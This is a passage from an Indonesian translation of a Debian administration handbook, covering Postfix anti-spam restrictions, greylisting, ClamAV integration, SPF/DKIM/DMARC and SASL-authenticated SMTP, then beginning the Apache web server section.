Arahan permit di akhir tidak diperlukan. Tapi bisa berguna di akhir daftar batasan untuk membuat kebijakan default eksplisit.

11.1.3.5. Pembatasan Terkait dengan Perintah DATA

Perintah DATA SMTP dikirimkan sebelum isi pesan. Tidak memberikan informasi apapun per se, selain mengumumkan apa yang datang berikutnya. Masih bisa dipersyaratkan untuk pemeriksaan.

Contoh 11.6. Pemeriksaan DATA

smtpd_data_restrictions = reject_unauth_pipelining

Direktif reject_unauth_pipelining menyebabkan pesan ditolak jika pihak pengirim mengirim perintah sebelum balasan atas perintah sebelumnya dikirim. Ini penjaga terhadap optimasi yang umum digunakan oleh robot spammer, karena mereka biasanya tidak peduli isi balasan dan fokus hanya pada mengirim surel sebanyak mungkin dalam waktu sependek mungkin.

11.1.3.6. Menerapkan Pembatasan

Meskipun perintah di atas memvalidasi informasi di berbagai tahap pertukaran SMTP, Postfix mengirimkan penolakan sebenarnya sebagai jawaban atas perintah RCPT TO secara baku.

Ini berarti bahwa bahkan jika pesan tersebut ditolak karena perintah EHLO yang tidak valid, Postfix tahu pengirim dan penerima ketika mengumumkan penolakan. Ini kemudian mencatat log pesan yang lebih eksplisit daripada yang bisa dilakukan jika transaksi telah terputus dari awal. Selain itu, sejumlah klien SMTP tidak mengharapkan kegagalan pada perintah SMTP awal, dan klien ini akan kurang terganggu oleh penolakan akhir ini.

Keuntungan akhir pilihan ini adalah bahwa aturan dapat mengumpulkan informasi selama berbagai tahap pertukaran SMTP; hal ini memungkinkan mendefinisikan izin lebih halus, seperti menolak koneksi non-lokal jika itu mengumumkan dirinya dengan pengirim lokal.

Perilaku default dikendalikan oleh aturan smtpd_delay_reject.

11.1.3.7. Penyaringan Berdasarkan Isi Pesan

Sistem validasi dan pembatasan tidak akan lengkap tanpa cara untuk menerapkan pemeriksaan ke isi pesan. Postfix membedakan pemeriksaan yang berlaku ke header surel dari mereka yang berlaku ke tubuh surel.

Contoh 11.7. Memfungsikan penyaring berbasis konten

header_checks = regexp:/etc/postfix/header_checks

body_checks = regexp:/etc/postfix/body_checks

Kedua berkas berisi daftar ekspresi reguler (umumnya dikenal sebagai regexps atau regexes) dan tindakan menjadi dipicu ketika header surel (atau tubuh) cocok dengan ekspresi yang terkait.

LIHAT CEPAT Tabel regex

Berkas /usr/share/doc/postfix/examples/header_checks.gz (dari paket postfix-doc) dan header_checks(5) berisi banyak komentar penjelasan dan dapat digunakan sebagai titik awal untuk membuat berkas /etc/postfix/header_checks dan /etc/postfix /body_checks.

Contoh 11.8. Berkas contoh /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)

/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

KEMBALI KE DASAR Ekspresi reguler

Istilah ekspresi reguler (disingkat menjadi regexp atau regex) mengacu ke notasi generik untuk mengekspresikan deskripsi dari isi dan/atau struktur serangkaian karakter. Karakter khusus tertentu memungkinkan mendefinisikan alternatif (misalnya, foo|bar cocok dengan "foo" atau "bar"), set karakter yang diizinkan (misalnya, [0-9] berarti "sebarang digit", dan . — dot — berarti "sebarang karakter"), kuantifikasi (s? cocok dengan s atau string kosong, dengan kata lain 0 atau 1 kali munculnya s; s+ cocok dengan satu atau lebih karakter s berturut-turut; dan seterusnya). Kurung memungkinkan pengelompokan hasil pencarian.

Sintaks yang tepat dari ungkapan-ungkapan ini bervariasi di seluruh alat yang menggunakan mereka, tapi fitur dasarnya sama.

→ https://en.wikipedia.org/wiki/Regular_expression

Yang pertama memeriksa header yang menyebutkan perangkat lunak surel; jika GOTO Sarbacane (software surel massal) ditemukan, pesan tersebut akan ditolak. Ekspresi kedua mengendalikan subjek pesan; jika itu menyebutkan pemberitahuan virus, kita bisa memutuskan untuk tidak menolak pesan tetapi untuk membuangnya segera sebagai gantinya.

Menggunakan filter ini adalah pedang bermata dua, karena mudah untuk membuat aturan yang terlalu generik dan kehilangan surel yang sah sebagai akibatnya. Dalam kasus ini, tidak hanya pesan akan hilang, tapi pengirimnya akan mendapatkan pesan kesalahan yang tidak diinginkan (dan menjengkelkan).

11.1.4. Menyiapkan greylisting

"Greylisting" adalah teknik penyaringan yang pesan awalnya ditolak dengan kode kesalahan sementara, dan hanya diterima pada percobaan lebih lanjut setelah penundaan. Hal ini sangat efisien terhadap spam yang dikirim oleh banyak mesin yang terinfeksi oleh virus dan worm karena software ini jarang bertindak sebagai agen SMTP penuh (dengan memeriksa kode kesalahan dan mencoba kembali pesan gagal kemudian), terutama karena banyak dari alamat yang dipanen sebenarnya tidak sah dan mencoba kembali berarti kehilangan waktu.

Postfix tidak menyediakan greylist secara native, tapi ada fitur dimana keputusan untuk menerima atau menolak pesan tertentu dapat diserahkan ke program eksternal. Paket postgrey memuat program seperti itu, dirancang untuk berinteraksi dengan layanan delegasi kebijakan akses ini.

Setelah postgrey terinstal, itu berjalan sebagai daemon dan mendengarkan pada port 10023. Postfix kemudian dapat dikonfigurasi untuk menggunakannya, dengan menambahkan parameter check_policy_service sebagai pembatasan tambahan:

smtpd_recipient_restrictions =

permit_mynetworks,

[...]

check_policy_service inet:127.0.0.1:10023

Setiap kali Postfix mencapai aturan ini dalam set aturan, itu akan menyambung ke daemon postgrey dan mengirim informasi mengenai pesan yang relevan. Pada sisinya, Postgrey mempertimbangkan triplet alamat IP/pengirim/penerima triplet dan memeriksa basis data apakah triplet yang sama telah terlihat baru-baru ini. Jika demikian, Postgrey menjawab bahwa pesan harus diterima; jika tidak, jawaban menunjukkan bahwa pesan harus ditolak untuk sementara, dan triplet dicatat dalam basis data.

Kelemahan utama dari greylist adalah bahwa pesan yang sah tertunda, yang tidak selalu bisa diterima. Hal ini juga meningkatkan beban pada server yang mengirim banyak surel yang sah.

DALAM PRAKTEK Kekurangan dari greylisting

Secara teori, greylist hanya harus menunda surat pertama dari pengirim yang diberikan kepada penerima tertentu, dan penundaan umumnya dalam orde menit. Kenyataannya, bagaimanapun, dapat sedikit berbeda. Beberapa ISP besar menggunakan cluster server SMTP, dan ketika pesan awalnya ditolak, server yang mencoba ulang transmisi mungkin tidak akan sama seperti yang pertama. Ketika itu terjadi, kedua server mendapat pesan kesalahan sementara karena greylist, dan seterusnya; mungkin butuh beberapa jam sampai transmisi ini dicoba oleh server yang sudah telah terlibat, karena server SMTP biasanya meningkatkan penundaan antara pengulangan di setiap kegagalan.

Sebagai akibatnya, alamat IP yang masuk dapat bervariasi dengan berjalannya waktu bahkan untuk pengirim tunggal. Tapi lebih jauh lagi: bahkan alamat pengirim dapat berubah. Sebagai contoh, banyak milis server menyandikan tambahan informasi dalam alamat pengirim untuk dapat menangani pesan kesalahan (dikenal sebagai bounces). Setiap pesan baru yang dikirim ke milis kemudian mungkin perlu pergi melalui greylist, yang berarti itu harus disimpan (secara sementara) pada server pengirim. Untuk milis yang sangat besar (dengan puluhan ribu pelanggan), ini dapat segera menjadi masalah.

Untuk memitigasi kelemahan ini, Postgrey mengelola daftar putih dari situs-situs seperti itu, dan pesan yang berasal dari mereka segera diterima tanpa melalui greulist. Daftar ini dengan mudah dapat disesuaikan dengan kebutuhan lokal, karena disimpan dalam berkas /etc/postgrey/whitelist_clients.

LEBIH LANJUT Greylisting selektif dengan milter-greylist

Kelemahan dari greylist dapat dimitigsai dengan hanya menggunakan greylist pada subset dari klien yang sudah dianggap sebagai kemungkinan sumber spam (karena mereka tercantum dalam daftar hitam DNS). Hal ini tidak mungkin dengan postgrey tapi milter-greylist dapat digunakan dengan cara itu.

Dalam skenario itu, karena blacklist DNS tidak pernah memicu penolakan definitif, menjadi masuk akal untuk menggunakan blacklist agresif, termasuk daftar semua alamat IP dinamis dari klien ISP (seperti pbl.spamhaus.org atau dul.dnsbl.Sorbs.net).

Karena milter-greylist menggunakan antarmuka milter Sendmail, konfigurasi sisi postfix-nya terbatas ke "smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock". Halaman manual greylist.conf(5) mendokumentasikan /etc/milter-greylist/greylist.conf dan banyak cara untuk mengkonfigurasi milter-greylist. Anda juga harus menyunting /etc/default/milter-greylist untuk benar-benar mengaktifkan layanan.

11.1.5. Mengubah Filter Berdasarkan Penerima

Bagian 11.1.3, “Pembatasan Penerimaan dan Pengiriman” dan Bagian 11.1.4, “Menyiapkan greylisting” meninjau banyak kemungkinan pembatasan. Mereka semua memiliki kegunaan dalam membatasi jumlah spam yang diterima, tetapi mereka semua juga memiliki kelemahan. Maka semakin umum untuk menyesuaikan set filter tergantung pada penerima. Pada Falcot Corp, greylist menarik bagi sebagian pengguna, tapi mengganggu pekerjaan beberapa pengguna yang membutuhkan latensi rendah dalam surel mereka (seperti layanan dukungan teknis). Demikian pula, layanan komersial kadang-kadang memiliki masalah menerima surel dari beberapa penyedia Asia yang mungkin tercantum di daftar hitam; layanan ini meminta alamat tak tersaring untuk bisa berkorespondensi.

Postfix menyediakan kustomisasi filter dengan konsep "kelas pembatasan". Kelas dideklarasikan dalam parameter smtpd_restriction_classes, dan didefinisikan dengan cara yang sama sebagai smtpd_recipient_restrictions. Direktif check_recipient_access kemudian mendefinisikan tabel pemetaan penerima tertentu untuk seperangkat batasan.

Contoh 11.9. Mendefinisikan kelas pembatasan dalam main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10023

aggressive =

reject_rbl_client sbl-xbl.spamhaus.org,

check_policy_service inet:127.0.0.1:10023

permissive = permit

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

check_recipient_access hash:/etc/postfix/recipient_access

Contoh 11.10. Berkas /etc/postfix/recipient_access

# Unfiltered addresses

postmaster@falcot.com  permissive

support@falcot.com     permissive

sales-asia@falcot.com  permissive

# Aggressive filtering for some privileged users

joe@falcot.com         aggressive

# Special rule for the mailing-list manager

sympa@falcot.com       reject_unverified_sender

# Greylisting by default

falcot.com             greylisting

11.1.6. Mengintegrasikan Antivirus

Banyak virus yang beredar sebagai lampiran surel membuat penting untuk mengatur antivirus di titik entri jaringan perusahaan, karena meskipun sudah ada kampanye kesadaran, beberapa pengguna masih akan membuka lampiran dari pesan yang jelas-jelas mencurigakan.

KEAMANAN Diskusi Kontroversial tentang Perangkat Lunak Anti Virus

Penggunaan pemindai virus, atau yang disebut perangkat lunak anti virus, itu kontroversial. Biasanya ada kesenjangan antara rilis beberapa bagian dari malware dan penambahan aturan deteksi ke basis data anti virus. Selama kesenjangan ini, tidak ada perlindungan berbasis perangkat lunak. Lebih lanjut, penggunaan sering diperlukan untuk menjalankan perangkat lunak tambahan, misalnya, untuk uncompress arsip dan memindai semua jenis executable, yang secara drastis meningkatkan potensi mengeksploitasi perangkat lunak anti virus itu sendiri. Penggunaan solusi perangkat lunak tersebut untuk itu tidak pernah dapat menggantikan kampanye kesadaran dan aturan perilaku sederhana (tidak pernah membuka lampiran terkirim yang tidak diminta, dll.).

Para administrator Falcot memilih clamav untuk antivirus gratis mereka. Paket utama adalah clamav, tetapi mereka juga memasang beberapa paket tambahan seperti arj, unzoo, unrar, dan lha, karena mereka diperlukan oleh antivirus untuk menganalisis lampiran yang diarsipkan dalam salah satu format ini.

Tugas antarmuka antara antivirus dan server surel jatuh ke clamav-milter. milter (singkatan dari mail filter) adalah sebuah program penyaringan yang dirancang khusus untuk menyambung dengan server surel. Suatu milter menggunakan standar antarmuka pemrograman aplikasi (API) yang memberikan kinerja lebih baik daripada filter eksternal ke server surel. Milters awalnya diperkenalkan oleh Sendmail, tetapi Postfix segera mengikutinya.

LIHAT SEKILAS Milter untuk Spamassassin

Paket spamass-milter menyediakan sebuah milter berbasis SpamAssassin, detektor spam terkenal. Dapat digunakan untuk menandai pesan sebagai mungkin spam (dengan menambahkan sebuah header tambahan) dan/atau menolak pesan sama sekali jika nilai "spamminess" mereka melampaui ambang batas tertentu.

Setelah paket clamav-milter diinstal, milter harus ditata ulang untuk berjalan pada sebuah port TCP bukan pada named socket yang default. Hal ini dapat dicapai dengan dpkg-reconfigure clamav-milter. Ketika diminta untuk "Antarmuka komunikasi dengan Sendmail", jawablah "inet:10002@127.0.0.1".

CATATAN Port TCP nyata vs soket bernama

Alasan mengapa kita menggunakan port TCP nyata daripada soket bernama adalah bahwa daemon postfix sering dijalankan dengan mode chroot dan tidak memiliki akses ke direktori tempat soket bernama. Anda juga dapat memutuskan untuk tetap menggunakan soket bernama dan memilih lokasi chroot (/var/spool/postfix/).

Konfigurasi ClamAV standar cocok untuk kebanyakan situasi, tetapi beberapa parameter penting masih dapat disesuaikan dengan dpkg-reconfigure clamav-base.

Langkah terakhir melibatkan meemberitahu Postfix untuk menggunakan filter yang baru-baru ini dikonfigurasi. Ini bisa dilakukan sekedar dengan menambahkan direktif berikut untuk /etc/postfix/main.cf:

# Virus check with clamav-milter

smtpd_milters = inet:[127.0.0.1]:10002

Jika antivirus menyebabkan masalah, baris ini dapat dijadikan komentar dan systemctl reload postfix harus dijalankan sehingga perubahan ini diperhitungkan.

DALAM PRAKTEK Menguji antivirus

Setelah antivirus disiapkan, perilaku yang benar harus diuji. Cara termudah untuk melakukannya adalah dengan mengirim surel percobaan dengan lampiran yang berisi berkas eicar.com (atau eicar.com.zip), yang dapat diunduh secara daring:

→ https://2016.eicar.org/86-0-Intended-use.html

Berkas ini bukan virus yang benar, tetapi berkas uji yang didiagnosa sebagai sebuah virus oleh semua perangkat lunak antivirus di pasar agar memungkinkan memeriksa instalasi.

Semua pesan yang ditangani oleh Postfix sekarang pergi melalui saringan antivirus.

11.1.7. Melawan Spam dengan SPF, DKIM dan DMARC

Tingginya jumlah surel yang tidak diminta yang dikirim setiap hari mengarah pada pembuatan beberapa standar, yang bertujuan untuk memvalidasi bahwa host pengirim surel diotorisasi dan bahwa surel tersebut belum dirusak. Sistem berikut semuanya berbasis DNS dan mengharuskan administrator untuk tidak hanya memiliki kendali atas server surel, tetapi juga atas DNS untuk domain yang dipermasalahkan.

HATI-HATI Diskusi Kontroversial

Seperti alat lainnya, standar berikut memiliki batasan dan efek nyata jika digunakan. Mereka dapat (dan seharusnya) menyebabkan surel ditolak atau bahkan dibuang begitu saja. Jika itu terjadi pada beberapa surel yang sah (terkadang dikirim dari server SMTP yang salah konfigurasi), biasanya hal itu menyebabkan kemarahan dan kurangnya pemahaman pengguna. Oleh karena itu, aturan ini sering kali diterapkan sebagai "kegagalan ringan" atau "penolakan ringan", yang biasanya berarti bahwa gagal dalam pemeriksaan hanya akan menyebabkan penambahan tanda (tajuk) ke surel yang terpengaruh. Ada orang yang berpikir bahwa ini membuat standar ini "rusak sejak disain". Putuskan sendiri dan berhati-hatilah tentang seberapa ketat Anda memilih untuk menerapkan standar ini.

11.1.7.1. Mengintegrasikan Sender Policy Framework (SPF)

Sender Policy Framework (SPF) digunakan untuk memvalidasi jika server surel tertentu diizinkan untuk mengirim surel untuk domain yang diberikan. Hal ini sebagian besar dikonfigurasi melalui DNS. Sintaks untuk entri untuk membuat dijelaskan secara rinci di:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

Berikut ini adalah contoh entri DNS yang menyatakan bahwa semua domain Mail Exchange Resource Records (MX-RRs) diperbolehkan untuk surel domain saat ini, dan semua yang lain dilarang. Entri DNS tidak perlu diberi nama. Tetapi untuk menggunakan direktif include itu harus memilikinya.

Name: example.org

Type: TXT

TTL:  3600

Data: v=spf1 a mx -all

Mari kita lihat entri falcot.org.

# host -t TXT falcot.org

falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

Ini menyatakan bahwa IP pengirim harus cocok dengan record A untuk domain pengiriman, atau harus terdaftar sebagai salah satu Mail Exchange Resource Records untuk domain saat ini, atau harus menjadi salah satu dari tiga alamat IP4 yang disebutkan. Semua host lain harus ditandai sebagai tidak diizinkan untuk mengirim surel untuk domain pengirim. Yang terakhir disebut "soft fail" dan dimaksudkan untuk menandai surel yang sesuai, tetapi masih menerimanya.

Server surel postfix dapat memeriksa data SPF untuk surel masuk menggunakan paket postfix-policyd-spf-python, agen kebijakan yang ditulis dalam Python. Berkas /usr/share/doc/postfix-policyd-spf-python/README. Debian menjelaskan langkah-langkah yang diperlukan untuk mengintegrasikan agen ke dalam postfix, jadi kami tidak akan mengulanginya di sini.

Konfigurasi dilakukan dalam berkas /etc/postfix-policyd-spf-python/policyd-spf.conf, yang sepenuhnya didokumentasikan dalam policyd-spf.conf(5) dan /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. Parameter konfigurasi utama adalah HELO_reject dan Mail_From_reject, yang mengkonfigurasi apakah surel harus ditolak (Fail) atau diterima dengan header yang ditambah (False), jika pemeriksaan gagal. Yang terakhir ini sering berguna, ketika pesan diproses lebih lanjut oleh filter spam.

Jika hasilnya dimaksudkan untuk digunakan oleh opendmarc (Bagian 11.1.7.3, “Mengintegrasikan Domain-based Message Authentication, Reporting and Conformance (DMARC)”), maka Header_Type harus diatur ke AR.

Perhatikan bahwa spamassassin memuat suatu plugin untuk memeriksa record SPF.

11.1.7.2. Mengintegrasikan DomainKeys (DKIM) Penandatanganan dan Pemeriksaan

Standar Domain Keys Identified Mail (DKIM) adalah sistem otentikasi pengirim. Agen transpor surat, di sini postfix, menambahkan tanda tangan digital yang terkait dengan nama domain ke header surel keluar. Pihak penerima dapat memvalidasi bidang badan pesan dan header dengan memeriksa tanda tangan terhadap kunci publik, yang diperoleh dari catatan DNS pengirim.

→ http://dkim.org/

Alat-alat yang diperlukan dikemas dalam paket opendkim dan opendkim-tools.

HATI-HATI Perangkat Lunak Milis dan DKIM

Manajer milis sering menulis ulang beberapa header surel, sehingga menyebabkan tanda tangan DKIM tidak valid. Bahkan menggunakan kanonikalisasi relaxed tidak selalu mencegah hal ini terjadi. Jadi, administrator harus memperhatikan berkas log server surat untuk mengidentifikasi masalah tersebut. Jika tidak, surel semacam itu mungkin ditandai sebagai spam dan mungkin ditolak.

Pertama, kunci privat harus dibuat menggunakan perintah opendkim-genkey -s SELECTOR -d DOMAIN. SELECTOR harus merupakan nama unik untuk kunci tersebut. Ini bisa sekadar "mail" atau tanggal pembuatan, jika Anda berencana untuk merotasi kunci.

Contoh 11.11. Membuat sebuah kunci privat untuk menandatangani Surel dari falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys

# chown opendkim.opendkim /etc/dkimkeys/mail.*

Ini akan membuat berkas /etc/dkimkeys/mail.private dan /etc/dkimkeys/mail.txt dan mengatur kepemilikan yang sesuai. Berkas pertama berisi kunci pribadi, dan yang terakhir adalah kunci publik yang perlu ditambahkan ke DNS:

Name: mail._domainkey

Type: TXT

TTL:  3600

Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

Paket opendkim di Debian secara default memiliki ukuran kunci 2048 bit. Sayangnya beberapa server DNS hanya dapat menangani entri teks dengan panjang maksimum 255 karakter, yang dilampaui oleh ukuran kunci default yang dipilih. Dalam hal ini gunakan opsi -b 1024 untuk memilih ukuran kunci yang lebih kecil. Jika opendkim-testkey berhasil, entri telah berhasil disiapkan. Sintaks dari entri tersebut dijelaskan di sini:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

Untuk mengkonfigurasi opendkim, SOCKET dan RUNDIR harus dipilih di /etc/default/opendkim. Harap dicatat bahwa SOCKET harus dapat diakses dari postfix di lingkungan chroot-nya. Konfigurasi lebih lanjut dilakukan di /etc/opendkim.conf. Berikut ini adalah kutipan konfigurasi, yang memastikan bahwa Domain "falcot.com" dan semua subdomain (SubDomain) ditandatangani oleh Selector "mail" dan kunci privat tunggal (KeyFile) /etc/dkimkeys/mail.private. Canonicalization "relaxed" baik untuk header dan body mentolerir modifikasi ringan (oleh perangkat lunak milis, misalnya). Filter berjalan baik dalam Mode penandatanganan ("s") dan verifikasi ("v"). Jika tanda tangan gagal untuk memvalidasi (On-BadSignature), surat harus dikarantina ("q").

[...]

Domain                  falcot.com

KeyFile                 /etc/dkimkeys/mail.private

Selector                mail

[...]

Canonicalization        relaxed/relaxed

Mode                    sv

On-BadSignature         q

SubDomains              yes

[...]

Socket                  inet:12345@localhost

[...]

UserID                  opendkim

Dimungkinkan juga untuk menggunakan beberapa pemilih/kunci (KeyTable), domain (SigningTable), dan untuk menentukan host internal atau terpercaya (InternalHosts, ExternalIgnoreList), yang dapat mengirim surel melalui server sebagai salah satu domain penandatanganan tanpa kredensial.

Direktif berikut dalam /etc/postfix/main.cf membuat postfix memakai filter:

milter_default_action = accept

non_smtpd_milters = inet:localhost:12345

smtpd_milters = inet:localhost:12345

Untuk membedakan penandatanganan dan verifikasi, terkadang lebih berguna untuk menambahkan arahan ke layanan di /etc/postfix/master.cf sebagai gantinya.

Informasi lebih lanjut tersedia di direktori /usr/share/doc/opendkim/ dan halaman manual opendkim(8) dan opendkim.conf(5).

Perhatikan bahwa spamassassin memuat suatu plugin untuk memeriksa record DKIM.

11.1.7.3. Mengintegrasikan Domain-based Message Authentication, Reporting and Conformance (DMARC)

Standar Domain-based Message Authentication, Reporting and Conformance (DMARC) dapat digunakan untuk menentukan entri DNS TXT dengan nama _dmarc dan tindakan yang harus diambil ketika surel yang berisi domain Anda sebagai host pengirim gagal divalidasi menggunakan DKIM dan SPF.

→ https://dmarc.org/overview/

Mari kita lihat entri dari dua penyedia besar:

# host -t TXT _dmarc.gmail.com

_dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com"

# host -t TXT _dmarc.yahoo.com

_dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:dmarc_y_rua@yahoo.com;"

Yahoo memiliki kebijakan yang ketat untuk reject semua surel yang berpura-pura dikirim dari akun Yahoo tetapi kekurangan atau gagal pemeriksaan DKIM dan SPF. Google Mail (Gmail) menyebarkan kebijakan yang sangat santai, di mana pesan tersebut dari domain utama masih harus diterima (p=none). Untuk subdomain, mereka harus ditandai sebagai spam (sp=quarantine). Alamat yang diberikan dalam kunci rua dapat digunakan untuk mengirim laporan DMARC gabungan. Sintaks lengkap dijelaskan di sini:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

Server surat postfix dapat menggunakan informasi ini juga. Paket opendmarc berisi milter yang diperlukan. Mirip dengan opendkim SOCKET dan RUNDIR harus dipilih di /etc/default/opendmarc (untuk soket Unix Anda harus memastikan bahwa mereka berada di dalam chroot postfix untuk ditemukan). Berkas konfigurasi /etc/opendmarc.conf berisi komentar rinci dan juga dijelaskan di opendmarc.conf(5). Secara default, surel yang gagal dalam validasi DMARC tidak ditolak tetapi ditandai, dengan menambahkan kolom header yang sesuai. Untuk mengubahnya, gunakan RejectFailures true.

Milter kemudian ditambahkan ke smtpd_milters dan non_smtpd_milters. Jika kita mengkonfigurasi milter opendkim dan opendmarc untuk berjalan pada port 12345 dan 54321, entri di /etc/postfix/main.cf terlihat seperti ini:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321

smtpd_milters = inet:localhost:12345,inet:localhost:54321

Milter juga dapat diterapkan secara selektif ke suatu layanan dalam /etc/postfix/master.cf sebagai pengganti.

11.1.8. SMTP Terotentikasi

Mampu mengirim surel memerlukan server SMTP yang dapat dijangkau; ini juga memerlukan server SMTP untuk mengirim surel melalui itu. Untuk pengguna roaming, ini mungkin memerlukan secara teratur mengubah konfigurasi klien SMTP, karena server SMTP Falcot's menolak pesan yang datang dari alamat IP yang tampaknya bukan milik perusahaan. Ada dua solusi: pengguna roaming menginstal server SMTP pada komputer mereka atau mereka masih menggunakan server perusahaan dengan beberapa cara untuk otentikasi sebagai karyawan. Solusi pertama tidak dianjurkan karena komputer tidak akan dihubungkan secara permanen, dan tidak akan dapat mengulangi pengiriman pesan jika terjadi masalah; kita akan fokus pada solusi yang terakhir.

Otentikasi SMTP di Postfix mengandalkan SASL (Simple Authentication and Security Layer). Hal ini membutuhkan instalasi paket libsasl2-modules dan sasl2-bin, kemudian mendaftarkan suatu kata sandi di basis data SASL untuk setiap pengguna yang memerlukan otentikasi pada server SMTP. Hal ini dilakukan dengan perintah saslpasswd2, yang memerlukan beberapa parameter. Opsi -U mendefinisikan domain otentikasi, yang harus cocok dengan parameter smtpd_sasl_local_domain dalam konfigurasi Postfix. Opsi -C memungkinkan membuat pengguna, dan -f menetapkan berkas yang akan dipakai jika basis data SASL perlu disimpan di lokasi yang berbeda dari default (/etc/sasldb2).

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean

[... ketikkan kata sandi jean dua kali ...]

Perhatikan bahwa basis data SASL dibuat dalam direktori milik Postfix. Untuk memastikan konsistensi, kita juga mengubah /etc/sasldb2 menjadi link simbolik menunjuk pada basis data yang digunakan oleh Postfix, dengan perintah ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

Sekarang kita perlu mengkonfigurasi Postfix agar menggunakan SASL. Pertama pengguna postfix perlu ditambahkan ke grup sasl, sehingga dapat mengakses basis data akun SASL. Beberapa parameter baru juga diperlukan untuk mengaktifkan SASL, dan parameter smtpd_recipient_restrictions perlu dikonfigurasi untuk memungkinkan kilen terotentikasi-SASL untuk mengirim surel dengan bebas.

Contoh 11.12. Memfungsikan SASL di /etc/postfix/main.cf

# Memfungsikan otentikasi SASL

smtpd_sasl_auth_enable = yes

# Define the SASL authentication domain to use

smtpd_sasl_local_domain = $myhostname

[...]

# Menambahkan permit_sasl_authenticated before reject_unauth_destination

# mengizinkan merelay surel yang dikirim oleh pengguna SASL-authenticated

smtpd_recipient_restrictions =

permit_sasl_authenticated,

permit_mynetworks,

reject_unauth_destination,

[...]

Biasanya merupakan ide yang baik untuk tidak mengirim kata sandi melalui koneksi yang tidak terenkripsi. Postfix memungkinkan untuk menggunakan konfigurasi yang berbeda untuk setiap port (layanan) yang dijalankannya. Semua ini dapat dikonfigurasi dengan aturan dan arahan yang berbeda di berkas /etc/postfix/master.cf. Untuk mematikan otentikasi sama sekali untuk port 25 (layanan smtpd) tambahkan direktif berikut:

smtp      inet  n       -       y       -       -       smtpd

[..]

-o smtpd_sasl_auth_enable=no

[..]

Jika karena alasan tertentu klien menggunakan perintah AUTH yang sudah kedaluwarsa (beberapa klien surel yang sangat lama menggunakannya), interoperabilitas dengan mereka dapat diaktifkan menggunakan direktif broken_sasl_auth_clients.

EKSTRA Klien SMTP terotentikasi

Kebanyakan klien surel dapat untuk melakukan otentikasi ke server SMTP sebelum mengirim pesan keluar, dan menggunakan fitur itu cukup dengan sekedar mengkonfigurasi parameter yang tepat. Jika klien yang digunakan tidak menyediakan fitur itu, solusinya adalah untuk menggunakan server Postfix lokal dan mengkonfigurasi dengan relay surel melalui server SMTP remote. Dalam kasus ini, Postfix lokal itu sendiri adalah klien yang mengotentikasi dengan SASL. Berikut adalah parameter yang diperlukan:

smtp_sasl_auth_enable = yes

smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd

relay_host = [mail.falcot.com]

Berkas /etc/postfix/sasl_passwd perlu berisi nama pengguna dan kata sandi yangdigunakan untuk otentikasi pada server mail.falcot.com. Berikut adalah contoh:

[mail.falcot.com]   joe:LyinIsji

Seperti semua pemetaan Postfix, berkas ini harus diubah menjadi /etc/postfix/sasl_passwd.db dengan perintah postmap.

11.2. Server Web (HTTP)

Administrator Falcot Corp memutuskan untuk menggunakan server HTTP Apache, yang ada dalam Debian Buster pada versi 2.4.38.

ALTERNATIF Server web lain

Apache adalah sekedar server web yang paling dikenal (dan digunakan secara luas) tetapi ada juga yang lain; mereka dapat menawarkan kinerja yang lebih baik di bawah beban kerja tertentu, tetapi lebih sedikit fitur dan modul. Namun, ketika calon web server ini dibangun untuk melayani berkas statis atau untuk bertindak sebagai proksi, alternatif seperti nginx dan lighttpd, pantas diselidiki.

11.2.1. Memasang Apache

Memasang paket apache2 adalah semua yang diperlukan. Ini berisi semua modul, termasuk Multi-Processing Modules (MPM) yang mempengaruhi bagaimana Apache menangani pemrosesan paralel dari banyak permintaan, yang biasanya disediakan dalam paket terpisah apache2-mpm-*. Ini juga akan menarik apache2-utils yang mengandung utilitas baris perintah yang kita akan temui nanti.

MPM yang digunakan secara signifikan mempengaruhi cara Apache menangani permintaan bersamaan. Dengan MPM worker, itu menggunakan thread (proses ringan), sedangkan dengan MPM prefork itu menggunakan kumpulan proses yang dibuat terlebih dahulu. Dengan MPM event ini juga menggunakan thread, tapi koneksi yang tidak aktif (terutama yang terus dibuat terbuka dengan fitur HTTP keep-alive) diserahkan kembali ke manajemen thread yang terdedikasi.

Para administrator Falcot juga memasang libapache2-mod-php7.3 untuk menyertakan dukungan PHP di Apache. Hal ini menyebabkan MPM event baku dinonaktifkan, dan prefork digunakan sebagai pengganti. Untuk memakai MPM event kita dapat menggunakanphp7.3-fpm.

KEAMANAN Eksekusi di bawah pengguna www-data

Secara baku, Apache menangani permintaan masuk di bawah identitas pengguna www-data. Ini berarti bahwa kerentanan keamanan di skrip CGI yang dijalankan oleh Apache (untuk halaman dinamis) tidak akan mengkompromi seluruh sistem, tetapi hanya berkas yang dimiliki oleh pengguna tertentu ini.

Menggunakan modul suexec, yang disediakan oleh paket apache2-suexec-*, memungkinkan melewati aturan ini sehingga beberapa skrip CGI dijalankan di bawah identitas pengguna lain. Ini dikonfigurasi dengan direktif pengguna SuexecUserGroup kelompok dalam konfigurasi Apache.

